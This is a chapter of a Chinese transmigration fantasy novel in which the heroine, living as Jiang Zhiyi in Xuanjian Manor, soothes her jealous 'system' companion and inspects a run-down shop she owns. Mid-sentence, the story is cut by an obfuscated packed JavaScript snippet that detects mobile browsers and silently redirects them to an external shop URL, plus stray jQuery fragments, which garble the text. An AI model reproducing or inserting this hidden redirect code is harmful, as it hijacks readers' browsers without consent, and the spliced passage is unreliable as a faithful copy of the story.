昨晚就像一段意外的插曲,锅里的面吃完,碗筷洗净,小孩道了谢便钻入夜色中不见了。
乔桉也没多问,只当是山庄里哪个仆役的孩子,饿极了偷偷摸进厨房撞上了她。
第二天起,她的生活便被紫衫侍女安排得井井有条。
晨起有人备好温水巾帕,三餐准时送至院中,衣裳鞋袜按季更换,连书案上的笔墨用尽都会无声无息地补上新的。
逢五逢十,紫衫侍女会提前半个时辰来唤她梳妆,引她去吴老太太的院里请安。此人正是顾渊渟和顾霁川的生母,顾渊渟不在,她在这悬剑山庄说一不二。
两名紫衫女各有分工,管她的起居、管她的出行、管她的用度,却也并不时时盯着她。
她们自己也要修炼,没空把心思全耗在一个凡人身上。
真正贴身服侍她的,反倒是几个从云阙城跟过来的凡间侍女,手脚麻利,话却极少,在她面前低着头,做事像影子一样安静。
乔桉观察了几日便明白了,这几个侍女真正听命的,是紫衫女们,而不是她这个名义上的主子。
她这个"姜知意"在悬剑山庄里,身份既尊贵又尴尬,像个被精心摆放的花瓶,没人敢触碰,同样没人真心在意。
好在其余时间倒是自由的。
悬剑山庄占地极广,错落着十几重院落,亭台水榭、回廊曲径。在这待得久了,便有闲言碎语顺着风飘进耳朵里。
比如吴老太太是原身母亲的小姨,按辈分算下来,姜望衡和顾渊渟竟是表兄妹。姜知意该唤顾渊渟一声表舅。
乔桉听到这里的时候,嘴角抽了抽,难怪世界线里顾渊渟对姜知意一直提不起兴致,对着一个从小喊自己表舅的小姑娘,能有什么男女之情?
而原身对顾渊渟那份说不清道不明的情愫,全是姜望衡在无数个日夜里,一点点规训出来的。
顾渊渟如何如何好,嫁给他如何如何体面,这门亲事如何如何是天大的福分。一个小姑娘听得多了,假的也听成了真的,不懂的也被灌成了执念。
乔桉听完只觉得自己的直觉果然没错。姜望衡这个人,精神大概真的不太正常。正常人家,谁会处心积虑地把自己女儿嫁给表舅?
系统给她的世界线只截取到顾衍之杀死姜知意这一幕,至于原身是如何一步步走到那一步的,中间经历了什么,并没有详细交代。
乔桉心里一直揣着三个疑惑。
一是原身到底看到了什么,能让她一而再、再而三的寻死,二是姜望衡当年喂给她的那颗丹药,究竟是什么东西。还有她的血,那股若有若无的异香,到底从何而来。
这些疑问只能被她暂时压在心底。
这天早上,乔桉在侍女们的服侍下梳洗更衣。
紫衫女不在,屋里只剩两个凡间侍女,一个捧衣,一个梳发,动作轻而熟稔。衣裳是鹅黄色的,料子软,领口绣着淡淡的花枝纹,配一条粉白腰带,清清爽爽。
乔桉坐在银镜前,看着侍女拿起梳篦要为她分刘海,她抬手挡了一下:“拢上去吧,别遮着眼。”
侍女怔了一瞬,大约是见她平日不怎么提要求,这会儿忽然开口,有些意外。
但也没多说什么,依言将额前碎发细细拢起,用一枚小巧的银簪别住,露出整张干净的脸。
乔桉对着镜子看了看,她只在这些小事有些决定权。
她今日要去悬剑山庄外的铺子看看。
铺子不是悬剑山庄的产业,悬剑山庄的买卖有顾家的人层层打理,她虽是顾渊渟名义上的妻子,手里却连一枚账册的钥匙都摸不着。
这间铺子是云阙城陪嫁过来的,记在她名下,加之修士素来不重这些身外俗物,悬剑山庄也懒得过问这点薄产,便由着她自己处置。
乔桉乘着一顶软轿出了悬剑山庄。轿子不大,青帷素帘,晃晃悠悠地穿过山门,沿着石径往下走。她靠着软垫,一路无话,心思却百转千回。
兴许是自幼寄人篱下的缘故,乔桉对旁人的情绪向来敏锐。语调里压着的烦躁,笑容底下藏着的敷衍,沉默之中裹着的层层疏离,她都辨得出来。
说不清幸运还是不幸。
系统这几天不太对劲。不像从前那般叽叽喳喳,话少,安静得有些反常。
原先它主动说话的时候多,像一只停不下来的雀,如今它不开口,二人之间便只剩下大段大段的沉默。
还有一个佐证:它看《海绵宝宝》的频次都低了许多。从前它窝在自己脑海里追番时的闹腾劲儿,更是了无痕迹。
乔桉甚至有一回忍不住在脑中问了一句"你是不是又去九寰了",过了好一会儿,它才慢吞吞应了一句“还在”。
就两个字。搁在从前,它定要叽叽咕咕补上一长串有的没的。
乔桉过了一段异常安静的日子。可总这么晾着也不是办法,往后的时间还长,她们还要共事二十年。
所以这件问题要抓紧解决掉,乔桉默默告诫自己。
“系统,”她开口,“你最近怎么了?”
话刚落地,脑海中便有了动静。像是专程等着她问似的,系统的声音冒出来,委屈巴巴地,带着股憋了好几天的闷气。
“没有对比就没有落差,乔乔,你对小言比对我好多了。明明咱俩最先认识的。”
乔桉一愣,随即恍然。症结在这儿。
倒也不是全无征兆。
那晚在厨房偶遇小言,系统当时并没什么反应,照旧在她脑子里有一搭没一搭地絮叨,还跟她讨论了一会儿这孩子蹲在灶前添柴的模样是不是有点可怜。
真正出问题,是在两天之后。
她到底放心不下,一个那么小的孩子,无人看管,谁知道会遇到什么。
她喊来一个紫衫女,吩咐出去打听打听,看能不能找到那孩子的来处,给他送些银钱,或者替他安排个去处。
紫衫女应了,出去转了一日,回来说没打听到。
乔桉站在廊下听了,没再多问,只在心里安慰自己:也许是哪家仆役带来的孩子,饿了,偷空溜进厨房找口吃的,吃完便走了。
这样想来,反倒让人安心些。
可就是从那天起,系统的话便一天比一天少了。
她耐着性子解释:“他是小孩,是弱者,我对他多几分留意是人之常情。你不同,你不是人类
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792368|210436||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,我多多少少会有些防备心...”
系统听完,声音更闷了,像被人兜头泼了一盆凉水,蔫蔫地嘟囔:“太不公平了。”
乔桉听着它闷闷的语气,心里忽然生出一点说不清的柔软来。
她顿了顿,难得放缓了声音:“给我一点时间,我们会成为……朋友的。”
脑海中安静了两秒,然后系统的声音陡然拔高了些,带着藏不住的雀跃:“真的?”
“嗯。”
乔桉靠着轿壁,权衡着利弊。这个系统,比她想象中要单纯得多。高兴和难过都摆在明面上。
她垂下眼,唇角微微动了一下。单纯也好,起码往后二十年,不会太难相处。
不多时,轿子停稳,帘子掀开,店铺到了。
铺子上下两层,占地约莫二百来平。门口悬着一块旧匾,写了三个字——“琳琅阁”,漆色已有些剥落,看得出有些年头了。
乔桉走进去,一边打量一边在心里估摸着这里的行情。
铺子里的陈设有些寡淡,几排木架靠墙立着,上头零零散散摆了些物件。
成色一般的玉簪、灵气稀薄的符纸、几瓶标着"养颜丹"的瓷罐。都是修士常用的东西,但品相说不上好,被人随手摆在那里,卖不卖得出去都无所谓。
乔桉沿着货架慢慢走了一圈,心里默默盘算着。店里没有客人,一个掌柜坐在柜台后头打盹,见她进来也没起身,只抬了抬眼皮,又垂了下去。
乔桉上了二楼,站在临街的窗前往下看,街上行人不多,三三两两的,有穿长袍的修士,也有短打布衣的凡人。
修士步履轻快,偶尔驻足看两眼摊子上的灵草,掏出来付账的多半是灵石,指甲盖大小,泛着幽幽的青色光泽。
凡人则慢一些,弯腰挑拣时手指摩挲着银子,下意识讨价还价。
这个世界,修仙人士与凡人大约各占一半。
修士之间流通的是灵石,凡人来往用的是金银,但两者之间自有折算的规矩。
一枚灵石能换多少两银子,乔桉还没摸透,但她看得出,这条街上的买卖做得松散极了。
修士不把赚钱当回事,兜里有几块灵石便花几块,没了便去接一点任务去做,日子过得随性。
凡人呢,手里攒了点银钱,便想着去测灵根、求丹药、买那些号称能洗髓换骨的灵物,一门心思挤进修士的门槛里去。
乔桉瞧着瞧着,心里渐渐亮堂起来。这个世界,不怎么重视赚钱。
在地球的时候,所有人都是唯钱是从,竞争激烈,钱难挣得像从石头缝里刮油。
但是在这里,压根不把赚钱当回事。岂不是正好便宜了她?
更何况,她往后要买不少灵草来练手,上了年份的药材都不便宜,还有丹炉、丹方、护法的阵盘,桩桩件件都要灵石撑起来。
她缺钱。缺灵石,也缺金银。但好在眼下正是太平年景,世道稳当,赚钱这件事,又是她最拿手的本事。
前世在职场里摸爬滚打那么些年,旁的本事不敢说,让钱生钱的路数,她闭着眼都能理出几条来。
乔桉弯了弯嘴角,这回笑得真心实意。